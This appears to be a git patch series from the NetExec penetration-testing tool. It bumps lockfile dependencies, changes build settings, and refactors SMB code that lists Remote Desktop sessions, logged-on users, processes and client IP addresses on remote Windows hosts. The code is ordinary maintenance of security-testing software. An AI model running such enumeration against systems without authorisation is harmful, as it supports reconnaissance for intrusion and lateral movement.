{file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b0ac78898c50e2574e9f938d2e5caa8fe187d7a5b69b65faa1ea4648925b096"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9eb4fa13c8c7a2404b6a8e3772c17a55b1ba18bc711e25e4d6c0c9f5f541b02a"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5dba1cdb8f319084f5b00d41207b2079822aa8d6a4667c0f369fce85e34b0c86"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-win32.whl", hash = "sha256:eae27ad7580529a427cfdd52c87abb2dfb15ce2b7a3e0fc29fbb63e2ed6f8120"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-win_amd64.whl", hash = "sha256:b335a7c958bc945e10c522c069cd6e5804f4ff20f9a744dd38e748eb602cbbda"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:40310db77a55512a18827488e592965d3dec6a3f1e3d8af3f8243134029daca3"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d3043375dd5bbcb2282894cbb12e6c559654c67b5fffb462fda815a55bf93f7"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70065dfabf023b155a9c2a18f573e47e6ca709b9e8619b2e04c54d5bcf193178"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:c058b84c3b24812c859300f3b5abf300daa34df20d4d4f42e9652a4d1c48c8a4"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0398361acebb42975deb747a824b5188817d32b5c8f8aba767d51ad0cc7bb08d"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-win32.whl", hash = "sha256:a2bc4e49e8329f3283d99840c136ff2cd1a29e49b5624a46a290f04dff48e079"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-win_amd64.whl", hash = "sha256:9cd136184dd5f58892f24001cdce986f5d7e96059d004118d5410671579834a4"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:665255e7aae5f38237b3a6eae49d2358d83a59f39ac21036413fab5d1e810578"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:92f99f2623ff16bd4aaf786ccde759c1f676d39c7bf2855eb0b540e1ac4530c8"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa498d1392216fae47eaf10c593e06c34476ced9549657fca713d0d1ba5f7248"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9afbc3909d0274d6ac8ec891e30210563b2c8bdd52ebbda14146354e7a69373"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:57dd41ba32430cbcc812041d4de8d2ca4651aeefad2626921ae2a23deb8cd6ff"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:3e35d5565b35b66905b79ca4ae85840a8d40d31e0b3e2990f2e7692071b179ca"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-win32.whl", hash = "sha256:f0d3de936b192980209d7b5149e3c98977c3810d401482d05fb6d668d53c1c63"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-win_amd64.whl", hash = "sha256:3868acb639c136d98107c9096303d2d8e5da2880f7706f9f8c06a7f961961149"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:07258341402a718f166618470cde0c34e4cec85a39767dce4e24f61ba5e667ea"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0a826f21848632add58bef4f755a33d45105d25656a0c849f2dc2df1c71f6f50"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:386b7d136919bb66ced64d2228b92d66140de5fefb3c7df6bd79069a269a7b06"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2f2951dc4b4f990a4b394d6b382accb33141d4d3bd3ef4e2b27287135d6bdd68"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8bf312ed8ac096d674c6aa9131b249093c1b37c35db6a967daa4c84746bc1bc9"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6db316d6e340f862ec059dc12e395d71f39746a20503b124edc255973977b728"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-win32.whl", hash = "sha256:c09a6ea87658695e527104cf857c70f79f14e9484605e205217aae0ec27b45fc"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-win_amd64.whl", hash = "sha256:12f5c9ed53334c3ce719155424dc5407aaa4f6cadeb09c5b627e06abb93933a1"}, + {file = "SQLAlchemy-2.0.38-py3-none-any.whl", hash = "sha256:63178c675d4c80def39f1febd625a6333f44c0ba269edd8a468b156394b27753"}, + {file = "sqlalchemy-2.0.38.tar.gz", hash = "sha256:e5a4d82bdb4bf1ac1285a68eab02d253ab73355d9f0fe725a97e1e0fa689decb"}, ] [package.dependencies] -greenlet = {version = "!=0.4.17", markers = "python_version < \"3.13\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} +greenlet = {version = "!=0.4.17", markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} typing-extensions = ">=4.6.0" [package.extras] @@ -2476,15 +2450,45 @@ files = [ [[package]] name = "tomli" -version = "2.0.2" +version = "2.2.1" description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] markers = "python_version < \"3.11\"" files = [ - {file = "tomli-2.0.2-py3-none-any.whl", hash = "sha256:2ebe24485c53d303f690b0ec092806a085f07af5a5aa1464f3931eec36caaa38"}, - {file = "tomli-2.0.2.tar.gz", hash = "sha256:d46d457a85337051c36524bc5349dd91b1877838e2979ac5ced3e710ed8a60ed"}, + {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, + {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ece47d672db52ac607a3d9599a9d48dcb2f2f735c6c2d1f34130085bb12b112a"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6972ca9c9cc9f0acaa56a8ca1ff51e7af152a9f87fb64623e31d5c83700080ee"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c954d2250168d28797dd4e3ac5cf812a406cd5a92674ee4c8f123c889786aa8e"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8dd28b3e155b80f4d54beb40a441d366adcfe740969820caf156c019fb5c7ec4"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e59e304978767a54663af13c07b3d1af22ddee3bb2fb0618ca1593e4f593a106"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:33580bccab0338d00994d7f16f4c4ec25b776af3ffaac1ed74e0b3fc95e885a8"}, + {file = "tomli-2.2.1-cp311-cp311-win32.whl", hash = "sha256:465af0e0875402f1d226519c9904f37254b3045fc5084697cefb9bdde1ff99ff"}, + {file = "tomli-2.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:2d0f2fdd22b02c6d81637a3c95f8cd77f995846af7414c5c4b8d0545afa1bc4b"}, + {file = "tomli-2.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a8f6e44de52d5e6c657c9fe83b562f5f4256d8ebbfe4ff922c495620a7f6cea"}, + {file = "tomli-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8d57ca8095a641b8237d5b079147646153d22552f1c637fd3ba7f4b0b29167a8"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e340144ad7ae1533cb897d406382b4b6fede8890a03738ff1683af800d54192"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db2b95f9de79181805df90bedc5a5ab4c165e6ec3fe99f970d0e302f384ad222"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40741994320b232529c802f8bc86da4e1aa9f413db394617b9a256ae0f9a7f77"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:400e720fe168c0f8521520190686ef8ef033fb19fc493da09779e592861b78c6"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:02abe224de6ae62c19f090f68da4e27b10af2b93213d36cf44e6e1c5abd19fdd"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b82ebccc8c8a36f2094e969560a1b836758481f3dc360ce9a3277c65f374285e"}, + {file = "tomli-2.2.1-cp312-cp312-win32.whl", hash = "sha256:889f80ef92701b9dbb224e49ec87c645ce5df3fa2cc548664eb8a25e03127a98"}, + {file = "tomli-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:7fc04e92e1d624a4a63c76474610238576942d6b8950a2d7f908a340494e67e4"}, + {file = "tomli-2.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4039b9cbc3048b2416cc57ab3bda989a6fcf9b36cf8937f01a6e731b64f80d7"}, + {file = "tomli-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:286f0ca2ffeeb5b9bd4fcc8d6c330534323ec51b2f52da063b11c502da16f30c"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a92ef1a44547e894e2a17d24e7557a5e85a9e1d0048b0b5e7541f76c5032cb13"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9316dc65bed1684c9a98ee68759ceaed29d229e985297003e494aa825ebb0281"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e85e99945e688e32d5a35c1ff38ed0b3f41f43fad8df0bdf79f72b2ba7bc5272"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac065718db92ca818f8d6141b5f66369833d4a80a9d74435a268c52bdfa73140"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d920f33822747519673ee656a4b6ac33e382eca9d331c87770faa3eef562aeb2"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a198f10c4d1b1375d7687bc25294306e551bf1abfa4eace6650070a5c1ae2744"}, + {file = "tomli-2.2.1-cp313-cp313-win32.whl", hash = "sha256:d3f5614314d758649ab2ab3a62d4f2004c825922f9e370b29416484086b264ec"}, + {file = "tomli-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:a38aa0308e754b0e3c67e344754dff64999ff9b513e691d0e786265c93583c69"}, + {file = "tomli-2.2.1-py3-none-any.whl", hash = "sha256:cb55c73c5f4408779d0cf3eef9f762b9c9f147a77de7b258bef0a5628adc85cc"}, + {file = "tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff"}, ] [[package]] @@ -2501,21 +2505,22 @@ files = [ [[package]] name = "tqdm" -version = "4.66.5" +version = "4.67.1" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "tqdm-4.66.5-py3-none-any.whl", hash = "sha256:90279a3770753eafc9194a0364852159802111925aa30eb3f9d85b0e805ac7cd"}, - {file = "tqdm-4.66.5.tar.gz", hash = "sha256:e1020aef2e5096702d8a025ac7d16b1577279c9d63f8375b63083e9a5f0fcbad"}, + {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, + {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, ] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} [package.extras] -dev = ["pytest (>=6)", "pytest-cov", "pytest-timeout", "pytest-xdist"] +dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] +discord = ["requests"] notebook = ["ipywidgets (>=6)"] slack = ["slack-sdk"] telegram = ["requests"] @@ -2548,14 +2553,14 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "2.2.3" +version = "2.3.0" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "urllib3-2.2.3-py3-none-any.whl", hash = "sha256:ca899ca043dcb1bafa3e262d73aa25c465bfb49e0bd9dd5d59f1d0acba2f8fac"}, - {file = "urllib3-2.2.3.tar.gz", hash = "sha256:e7d814a81dad81e6caf2ec9fdedb284ecc9c73076b62654547cc64ccdcae26e9"}, + {file = "urllib3-2.3.0-py3-none-any.whl", hash = "sha256:1cee9ad369867bfdbbb48b7dd50374c0967a0bb7710050facf0dd6911440e3df"}, + {file = "urllib3-2.3.0.tar.gz", hash = "sha256:f8c5449b3cf0861679ce7e0503c7b44b5ec981bec0d1d3795a07f1ba96f0204d"}, ] [package.extras] @@ -2578,14 +2583,14 @@ files = [ [[package]] name = "werkzeug" -version = "3.0.4" +version = "3.1.3" description = "The comprehensive WSGI web application library." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "werkzeug-3.0.4-py3-none-any.whl", hash = "sha256:02c9eb92b7d6c06f31a782811505d2157837cea66aaede3e217c7c27c039476c"}, - {file = "werkzeug-3.0.4.tar.gz", hash = "sha256:34f2371506b250df4d4f84bfe7b0921e4762525762bbd936614909fe25cd7306"}, + {file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"}, + {file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"}, ] [package.dependencies] @@ -2611,14 +2616,14 @@ cryptography = ">=38.0.1" [[package]] name = "xmltodict" -version = "0.13.0" +version = "0.14.2" description = "Makes working with XML feel like you are working with JSON" optional = false -python-versions = ">=3.4" +python-versions = ">=3.6" groups = ["main"] files = [ - {file = "xmltodict-0.13.0-py2.py3-none-any.whl", hash = "sha256:aa89e8fd76320154a40d19a0df04a4695fb9dc5ba977cbb68ab3e4eb225e7852"}, - {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, + {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, + {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, ] [metadata] diff --git a/pyproject.toml b/pyproject.toml index 16a02490..422e492c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,15 @@ +[tool.poetry] +exclude = [] +include = [ + "nxc/data/*", + "nxc/modules/*" +] +packages = [{ include = "nxc" }] +version = "0.0.0" # Poetry placeholder, do not remove + [project] name = "netexec" -version = "1.3.0" +dynamic = ["version"] description = "The Network Execution tool" readme = "README.md" requires-python = ">=3.10,<4.0" @@ -10,6 +19,12 @@ authors = [ { name = "Alexander Neff", email = "alex99.neff@gmx.de" }, { name = "Thomas Seigneuret", email = "seigneuret.thomas@pm.me" } ] +classifiers = [ + "Environment :: Console", + "License :: OSI Approved :: BSD License", + "Programming Language :: Python :: 3", + "Topic :: Security" +] dependencies = [ "aardwolf>=0.2.8", "aioconsole>=0.6.2", @@ -58,19 +73,20 @@ netexec = "nxc.netexec:main" NetExec = "nxc.netexec:main" nxcdb = "nxc.nxcdb:main" -[tool.poetry] -exclude = [] -include = [ - "nxc/data/*", - "nxc/modules/*" -] -classifiers = [ - "Environment :: Console", - "License :: OSI Approved :: BSD License", - "Programming Language :: Python :: 3", - "Topic :: Security" -] -packages = [{ include = "nxc" }] +[tool.poetry.requires-plugins] +poetry-dynamic-versioning = { version = ">=1.7.0,<2.0.0", extras = ["plugin"] } + +[tool.poetry-dynamic-versioning] +enable = true +style = "pep440" +bump = true +pattern = "(?P\\d+\\.\\d+\\.\\d+)" +format = "{base}+{distance}.g{commit}" + +[build-system] +requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +build-backend = "poetry_dynamic_versioning.backend" + [tool.poetry.group.dev.dependencies] flake8 = "*" @@ -78,15 +94,6 @@ shiv = "*" pytest = "^7.2.2" ruff = "=0.0.292" -[build-system] -requires = ["poetry-core>=2.0.0,<3.0.0", "poetry-dynamic-versioning>=1.7.0,<2.0.0"] -build-backend = "poetry_dynamic_versioning.backend" - -[tool.poetry-dynamic-versioning] -enable = true -pattern = "(?P\\d+\\.\\d+\\.\\d+)" -format = "{base}+{commit}" - [tool.ruff] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", From 74e6aa03c161ef43a6cee33f2d47aff9621da5aa Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 12:54:51 -0500 Subject: [PATCH 280/376] Pass local object to functions istead of using a class variable, alread in use --- nxc/protocols/smb.py | 75 ++++++++++++++++++++++---------------------- 1 file changed, 38 insertions(+), 37 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 16a0d8b4..ed0b82f2 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -841,11 +841,11 @@ class smb(connection): handle = lsm.hRpcOpenEnum() rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) - self.sessions = {} + sessions = {} for i in rsessions: sess = i["SessionInfo"]["SessionEnum_Level1"] state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] - self.sessions[sess["SessionId"]] = { + sessions[sess["SessionId"]] = { "state": state, "SessionName": sess["Name"], "RemoteIp": "", @@ -855,24 +855,25 @@ class smb(connection): "Resolution": "", "ClientTimeZone": "" } + return sessions - def enumerate_sessions_info(self): - if len(self.sessions): + def enumerate_sessions_info(self, sessions): + if len(sessions): with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: - for SessionId in self.sessions: + for SessionId in sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) - self.sessions[SessionId]["flags"] = sessflags + sessions[SessionId]["flags"] = sessflags domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] - if not len(self.sessions[SessionId]["Domain"]) and len(domain): - self.sessions[SessionId]["Domain"] = domain + if not len(sessions[SessionId]["Domain"]) and len(domain): + sessions[SessionId]["Domain"] = domain username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] - if not len(self.sessions[SessionId]["Username"]) and len(username): - self.sessions[SessionId]["Username"] = username - self.sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] - self.sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] - self.sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] - self.sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] + if not len(sessions[SessionId]["Username"]) and len(username): + sessions[SessionId]["Username"] = username + sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] + sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] + sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] + sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] @requires_admin def qwinsta(self): @@ -881,22 +882,22 @@ class smb(connection): "WTS_SESSIONSTATE_LOCK": "Locked", "WTS_SESSIONSTATE_UNLOCK": "Unlocked", } - self.get_session_list() - if not len(self.sessions): + sessions = self.get_session_list() + if not len(sessions): return - self.enumerate_sessions_info() + self.enumerate_sessions_info(sessions) - maxSessionNameLen = max([len(self.sessions[i]["SessionName"])+1 for i in self.sessions]) + maxSessionNameLen = max([len(sessions[i]["SessionName"])+1 for i in sessions]) maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 - maxUsernameLen = max([len(self.sessions[i]["Username"]+self.sessions[i]["Domain"])+1 for i in self.sessions])+1 + maxUsernameLen = max([len(sessions[i]["Username"]+sessions[i]["Domain"])+1 for i in sessions])+1 maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username")+1 - maxIdLen = max([len(str(i)) for i in self.sessions]) + maxIdLen = max([len(str(i)) for i in sessions]) maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID")+1 - maxStateLen = max([len(self.sessions[i]["state"])+1 for i in self.sessions]) + maxStateLen = max([len(sessions[i]["state"])+1 for i in sessions]) maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE")+1 - maxRemoteIp = max([len(self.sessions[i]["RemoteIp"])+1 for i in self.sessions]) + maxRemoteIp = max([len(sessions[i]["RemoteIp"])+1 for i in sessions]) maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress")+1 - maxClientName = max([len(self.sessions[i]["ClientName"])+1 for i in self.sessions]) + maxClientName = max([len(sessions[i]["ClientName"])+1 for i in sessions]) maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName")+1 template = ("{SESSIONNAME: <%d} " "{USERNAME: <%d} " @@ -931,20 +932,20 @@ class smb(connection): header2_verbose = "" result.extend((header + header_verbose, header2 + header2_verbose + "\n")) - for i in self.sessions: - connectTime = self.sessions[i]["ConnectTime"] + for i in sessions: + connectTime = sessions[i]["ConnectTime"] connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" - disconnectTime = self.sessions[i]["DisconnectTime"] + disconnectTime = sessions[i]["DisconnectTime"] disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" - userName = self.sessions[i]["Domain"] + "\\" + self.sessions[i]["Username"] if len(self.sessions[i]["Username"]) else "" + userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else "" row = template.format( - SESSIONNAME=self.sessions[i]["SessionName"], + SESSIONNAME=sessions[i]["SessionName"], USERNAME=userName, ID=i, - STATE=self.sessions[i]["state"], - DSTATE=desktop_states[self.sessions[i]["flags"]], + STATE=sessions[i]["state"], + DSTATE=desktop_states[sessions[i]["flags"]], CONNTIME=connectTime, DISCTIME=disconnectTime, ) @@ -960,20 +961,20 @@ class smb(connection): with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: try: handle = legacy.hRpcWinStationOpenServer() - r = legacy.hRpcWinStationGetAllProcesses(handle) - except: + res = legacy.hRpcWinStationGetAllProcesses(handle) + except Exception as e: # TODO: Issue https://github.com/fortra/impacket/issues/1816 - self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") + self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}") return - if not len(r): + if not res: return self.logger.success("Enumerated processes") - maxImageNameLen = max([len(i["ImageName"]) for i in r]) - maxSidLen = max([len(i["pSid"]) for i in r]) + maxImageNameLen = max([len(i["ImageName"]) for i in res]) + maxSidLen = max([len(i["pSid"]) for i in res]) template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) - for procInfo in r: + for procInfo in res: row = template.format( procInfo["ImageName"], procInfo["UniqueProcessId"], From 53b42df414d3fae9cc60d7fc2e87e99e14147f52 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 13:53:08 -0500 Subject: [PATCH 281/376] Add IPv4 to qwinsta output --- nxc/protocols/smb.py | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ed0b82f2..bea5c66c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -874,6 +874,15 @@ class smb(connection): sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] + with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm: + for SessionId in sessions: + try: + client = rcm.hRpcGetRemoteAddress(SessionId) + if not client: + continue + sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"] + except Exception as e: + self.logger.debug(f"Error getting client address for session {SessionId}: {e}") @requires_admin def qwinsta(self): @@ -902,6 +911,7 @@ class smb(connection): template = ("{SESSIONNAME: <%d} " "{USERNAME: <%d} " "{ID: <%d} " + "{IPv4: <16} " "{STATE: <%d} " "{DSTATE: <9} " "{CONNTIME: <20} " @@ -912,6 +922,7 @@ class smb(connection): SESSIONNAME="SESSIONNAME", USERNAME="USERNAME", ID="ID", + IPv4="RemoteAddress", STATE="STATE", DSTATE="Desktop", CONNTIME="ConnectTime", @@ -922,15 +933,13 @@ class smb(connection): SESSIONNAME="", USERNAME="", ID="", + IPv4="", STATE="", DSTATE="", CONNTIME="", DISCTIME="", ) - - header_verbose = "" - header2_verbose = "" - result.extend((header + header_verbose, header2 + header2_verbose + "\n")) + result.extend((header, header2)) for i in sessions: connectTime = sessions[i]["ConnectTime"] @@ -940,17 +949,16 @@ class smb(connection): disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else "" - row = template.format( + result.append(template.format( SESSIONNAME=sessions[i]["SessionName"], USERNAME=userName, ID=i, + IPv4=sessions[i]["RemoteIp"], STATE=sessions[i]["state"], DSTATE=desktop_states[sessions[i]["flags"]], CONNTIME=connectTime, DISCTIME=disconnectTime, - ) - row_verbose = "" - result.append(row+row_verbose) + )) self.logger.success("Enumerated qwinsta sessions") for row in result: From ca5a076f1ed40c1c056b9617e8a69705d2fce97a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 16:09:41 -0500 Subject: [PATCH 282/376] Add IPv4 to qwinsta output --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bea5c66c..e1b2c7f6 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -922,7 +922,7 @@ class smb(connection): SESSIONNAME="SESSIONNAME", USERNAME="USERNAME", ID="ID", - IPv4="RemoteAddress", + IPv4="IPv4 Address", STATE="STATE", DSTATE="Desktop", CONNTIME="ConnectTime", From ae684bf0df2722cdc3d118077eeffb590246c31a Mon Sep 17 00:00:00 